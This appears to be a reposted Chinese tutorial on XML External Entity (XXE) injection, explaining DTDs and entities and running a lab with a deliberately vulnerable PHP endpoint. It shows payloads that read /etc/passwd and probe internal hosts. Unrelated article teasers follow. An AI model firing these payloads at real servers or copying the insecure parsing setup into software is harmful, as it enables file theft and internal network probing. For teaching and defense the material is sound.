XXE XML外部实体注入

XXE 外部实体注入

一, 简介

XXE(XML External Entity Injection)是一种 XML 注入攻击,它利用了 XML 解析器在处理 XML 文档时存在的漏洞。
攻击者通过在 XML 文档中插入外部实体的引用,可以引导 XML 解析器读取攻击者控制的外部文件,进而获取敏感信息或执行恶意代码。

二, XML DTD (文档类型定义)

XML DTD(文档类型定义)是一种定义XML文档结构的规范,它为XML文档提供了一种语法规则,规定了文档中所使用的元素、实体、元素的属性、元素与实体之间的关系。

xml
<!DOCTYPE note [  <!ELEMENT note (to,from,heading)>  <!ELEMENT to (#PCDATA)>  <!ELEMENT from (#PCDATA)>  <!ELEMENT heading (#PCDATA)>  
]>  
<note>  <to>Tove</to>  <from>Jani</from>  <heading>Reminder</heading>  
</note>

在XML文档中,使用DOCTYPE声明来引入DTD。DTD可以分为外部DTD和内部DTD两种类型。
内部DTD在XML文件的文件序言区域中定义。
外部DTD是一个独立的文件,需要用SYSTEM标签指定文件路径。

1. 内部实体引用

在 xml 文件内部定义实体(变量), 通过&引用.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [   <!ENTITY myEntity 'This is my entity'>
]>  
<note>&myEntity;</note>  

在这个例子中,使用<!ENTITY>声明定义了一个名为myEntity的实体,其值为字符串'This is my entity'。然后在XML文档中,通过在需要使用实体的地方添加&myEntity;来引用该实体。

2. 外部实体引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
3. 外部引用

从外部.dtd文件中加载实体.

Note.dtd 文件:

<!DOCTYPE note [  <!ENTITY myEntity 'This is my entity'>  
]>

xml 文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "Note.dtd">  
<note>&myEntity;</note>  

三, XXE 实验

编写一个接受xml数据的api: http://192.168.112.200/security/xxe.php

<?php
libxml_use_internal_errors(true); // 开启错误捕获
$xml = file_get_contents("php://input"); // 获取post提交的xml字符串
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); // 解析xml字符串if ($data === false) {echo "Failed loading XML\n";foreach(libxml_get_errors() as $error) {echo "\t", $error->message;}
} else {echo $data; // 输出解析后的内容
}
?>

前端使用post请求提交一段xml字符串:

1. 读取服务器的敏感文件 /etc/passwd 文件的内容.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
2. 探测服务器内网的ip和端口.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY file SYSTEM "http://192.168.112.202:80">
]>
<note>&file;</note>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/140299.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

编程艺术之源:深入了解设计模式和设计原则

深入了解设计模式和设计原则 一、认识设计模式1.1、设计模式是什么&#xff1f;1.2、设计模式是怎么来的&#xff1f;1.3、设计模式解决了什么问题&#xff1f; 二、设计模式的基础2.1、面向对象思想2.2、设计原则 三、如何学习设计模式3.1、明确目的3.2、学习步骤 总结 一、认…

Linux服务器从零开始训练 RT-DETR 改进项目 (Ultralytics) 教程,改进RTDETR算法(包括使用训练、验证、推理教程)

手把手从零开始训练 RT-DETR 改进项目 (Ultralytics版本) 教程,改进RTDETR算法 本文以Linux服务器为例:从零开始使用Linux训练 RT-DETR 算法项目 《芒果剑指 RT-DETR 目标检测算法 改进》 适用于芒果专栏改进RT-DETR算法 文章目录 百度 RT-DETR 算法介绍改进网络代码汇总第…

CAD Exchanger SDK 有什么新内容?

CAD 交换器 3.23.0&#xff0c;2023 年 11 月强调&#xff1a;- 添加了新版本格式的导入&#xff1a;Autodesk Inventor 2023 和 2024、NX 2306。- 文档经过重大修改&#xff0c;使其更易于导航。它也是现在包含有关 SDK、Web Toolkit 和 Manufacturing Toolkit 的全面信息&…

SQL 存储过程优化

问题&#xff1a;一个复杂的6个表的left jion 语句&#xff0c;发现设置为定时任务后最高时长为18分钟 1、原因分析&#xff1a;对复杂SQL 进行拆分验证 发现是合同明细表和 产品表的left jion 时间过长&#xff0c;发现 合同明细表每天为3w条&#xff0c;之前做过优化 对每个…

PTA 7-6 队列模拟

7-6 队列模拟 分数 25 全屏浏览题目 作者 sy 单位 宁波财经学院 设从键盘输入一整数序列a1&#xff0c;a2&#xff0c;...an&#xff0c;试编程实现&#xff1a;当ai>0 时&#xff0c;ai 进队&#xff0c;当ai<0 时&#xff0c;将队首元素出队&#xff0c;当ai0 时&a…

10. 深度学习——模型优化

机器学习面试题汇总与解析——模型优化 本章讲解知识点 前言低秩近似剪枝与稀疏约束参数量化二值网络知识蒸馏紧凑的网络结构本专栏适合于Python已经入门的学生或人士,有一定的编程基础。本专栏适合于算法工程师、机器学习、图像处理求职的学生或人士。本专栏针对面试题答案进…

(1)(1.14) LightWare SF10/SF11激光雷达

文章目录 前言 1 串行连接 2 I2C 连接 3 参数说明 前言 Lightware SF20 和 LW20 是体积小、测距远&#xff08;100m&#xff09;、精度高的测距仪。有两种型号&#xff0c;LW20/Ser 使用串行接口&#xff0c;LW20/I2C 使用 I2C 接口。 1 串行连接 对于串行连接&#xff0…

java数据结构--堆

目录 一.概念 二.堆中最重要三个方法 三.大顶堆 四.基于数组实现大顶堆 五.堆排序 六.小顶堆 七.基于数组实现小顶堆 八.ProiorityQueue和Heap 示例&#xff1a; 九.求数组中第K大元素 十.求数据流中第K大元素 十一.求数据流的中位数 一.概念 堆&#xff08;Heap&…

软件开发项目文档系列之十六如何撰写系统运维方案

前言 项目运维方案是为了确保项目的稳定运行和可持续发展而制定的指导性文档。本文将详细介绍项目运维方案的各个方面&#xff0c;包括硬件和软件基础设施、监控和警报、备份和恢复、安全性、团队组织和沟通等方面。本博客将提供示例和最佳实践&#xff0c;以帮助您更好地理解…

什么是ajax,ajax有什么特点?

AJAX&#xff08;Asynchronous JavaScript and XML&#xff09;是一种用于在后台与服务器进行异步通信的技术。它使用 JavaScript、XML&#xff08;或 JSON&#xff09;和 XMLHttpRequest 对象来实现在不刷新整个页面的情况下更新部分页面内容。 特点&#xff1a; 异步通信&a…

Ubuntu显示毫秒级时间

Ubuntu显示毫秒级时间 1. 打印当前时间 1. 打印当前时间 date 时间&#xff0c;转化成毫秒级 $ date # Mon 03 Apr 2023 11:09:47 PM CST$ echo -e "$(date %T).$((10#$(date %N)/1000000))" # 23:09:55.552谢谢

一些分享| 在线笔记、GIF图片生成方法

文章目录 在线笔记视频转GIF 本片博客旨在挖掘一些好用且免费的在线平台&#xff0c;持续更新中~ 正所谓科技解放双手&#xff0c;使用在线平台可以方便快捷地学习办公&#xff0c;节省时间。 在线笔记 语雀 https://www.yuque.com/dashboard 语雀是笔者用得最长最久的平台了…

maven: Cannot access nexus-all xxx in offline mode错误的解决

1. 絮絮叨叨 之前&#xff0c;同事告诉过一个加速编译的mvn命令 mvn -o -T 4C clean install -DskipTests -Dmaven.compile.forktrue 忽然&#xff0c;上周在公司的蛇口编译机器&#xff0c;执行这个命令就行不通了 错误信息&#xff0c;由于编以输出太多被淹没了&#xff0c…

Leetcode—102.二叉树的层序遍历【中等】

2023每日刷题&#xff08;二十四&#xff09; Leetcode—102.二叉树的层序遍历 C语言BFS实现代码 /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ /*** Return an array of arr…

线性表——编写一个函数,将数组中两个顺序表的位置互换,即将(b1,b2,b3,...,bn)放在(a1,a2,a3,...,an)的前面。

题目&#xff1a;已知在一维数组A[mn]中依次存放两个线性表&#xff08;a1,a2,a3,...,an&#xff09;和&#xff08;b1,b2,b3,...,bn&#xff09;。编写一个函数&#xff0c;将数组中两个顺序表的位置互换&#xff0c;即将&#xff08;b1,b2,b3,...,bn&#xff09;放在&#xf…

ubuntu下载各个版本chrome方法

Ubuntu/debian 在这里面找版本 https://unix.stackexchange.com/a/612981然后添充进去 http://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_[HERE_THE_FULL_VERSION]_amd64.deb比如&#xff1a;https://dl.google.com/linux/chro…

Springboot项目部署及多环境开发

一、项目部署 我们之前写的代码都是部署在本地的tomcat上&#xff0c;别人是无法访问我们写的程序的。在实际开发中&#xff0c;我们都要将开发完毕的项目部署到公司的服务器上。 我们的代码需要经过编译打包生成一个jar包&#xff0c;这个过程需要借助一个插件来实现。 创建sp…

【微软技术栈】C#.NET 如何使用本地化的异常消息创建用户定义的异常

本文内容 创建自定义异常创建本地化异常消息 在本文中&#xff0c;你将了解如何通过使用附属程序集的本地化异常消息创建从 Exception 基类继承的用户定义异常。 一、创建自定义异常 .NET 包含许多你可以使用的不同异常。 但是&#xff0c;在某些情况下&#xff0c;如果它们…

STL简介+浅浅了解string——“C++”

各位CSDN的uu们好呀&#xff0c;终于到小雅兰的STL的学习了&#xff0c;下面&#xff0c;让我们进入CSTL的世界吧&#xff01;&#xff01;&#xff01; 1. 什么是STL 2. STL的版本 3. STL的六大组件 4. STL的重要性 5. 如何学习STL 6.STL的缺陷 7.为什么要学习string类 …

pinpoint监控tomcat应用,页面显示No data collected

pinpoint安装部署教程大家都可以搜到。这里就不说了。单说一下 页面没有数据的情况。 部署环境&#xff0c;pinpoint安装部署在A服务器上。现在是在C、D、E、F……linux机器上安装pinpoint-agnet 1. 将文件 pinpoint-agent-1.8.5.tar.gz 上传到 服务器C、D、E、F…… 2. 解压…